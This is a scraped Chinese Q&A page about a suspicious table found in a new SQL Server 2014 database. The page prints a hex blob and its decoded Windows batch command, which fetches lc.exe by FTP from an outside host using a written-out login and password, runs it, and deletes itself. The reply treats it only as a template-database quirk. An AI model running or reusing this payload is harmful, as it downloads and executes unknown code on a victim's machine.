Sye*_*idi 1 sql-server sql-server-2014
我正在使用 SQL Server 2014 中的 UI 创建一个新数据库,当我打开表时,它已经有一个表dbo.cmd
:
CREATE TABLE [dbo].[cmd](
[a] [image] NOT NULL
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
Run Code Online (Sandbox Code Playgroud)
它还插入了一行:
0x406364202573797374656D726F6F74255C68656C7026406563686F206F70656E2062326263732E676F746F667470312E636F6D3E536F2E3126406563686F2062326263733E3E536F2E3126406563686F2035357A65343235323E3E536F2E3126406563686F20676574206C632E6578653E3E536F2E3126406563686F206279653E3E536F2E312640667470202D733A536F2E312664656C20536F2E3126406C632E6578652664656C202530252665786974
Run Code Online (Sandbox Code Playgroud)
我尝试将其转换为字符串,结果如下:
@cd %systemroot%\help&@echo open b2bcs.gotoftp1.com>So.1&@echo b2bcs>>So.1&@echo 55ze4252>>So.1&@echo get lc.exe>>So.1&@echo bye>>So.1&@ftp -s:So.1&del So.1&@lc.exe&del %0%&exit
Run Code Online (Sandbox Code Playgroud)
在关注这个之后,我发现它是一个 bash 脚本,我尝试执行 bash 脚本,我的文件lc.exe
夹中有一个文件%systemroot%/Help/lc.exe
,但我还没有执行脚本中的最后一个命令:
lc.exe&del %0%&exit
Run Code Online (Sandbox Code Playgroud)
这是什么?我试过搜索这个,但找不到任何东西。我不知道这里发生了什么,我该如何解决这个问题?
如果您的主要问题是 - 为什么您在新创建的数据库中已经有一个表(包含数据)......?
所有新创建的 Sql Server 数据库都使用该MODEL
数据库作为模板。因此,我希望找到MODEL
数据库中已经存在的 dbo.cmd(带有数据)。你能验证吗?
我的猜测是 - 过去有人在 MODEL 数据库中“意外”创建了 dbo.cmd。
归档时间: |
|
查看次数: |
248 次 |
最近记录: |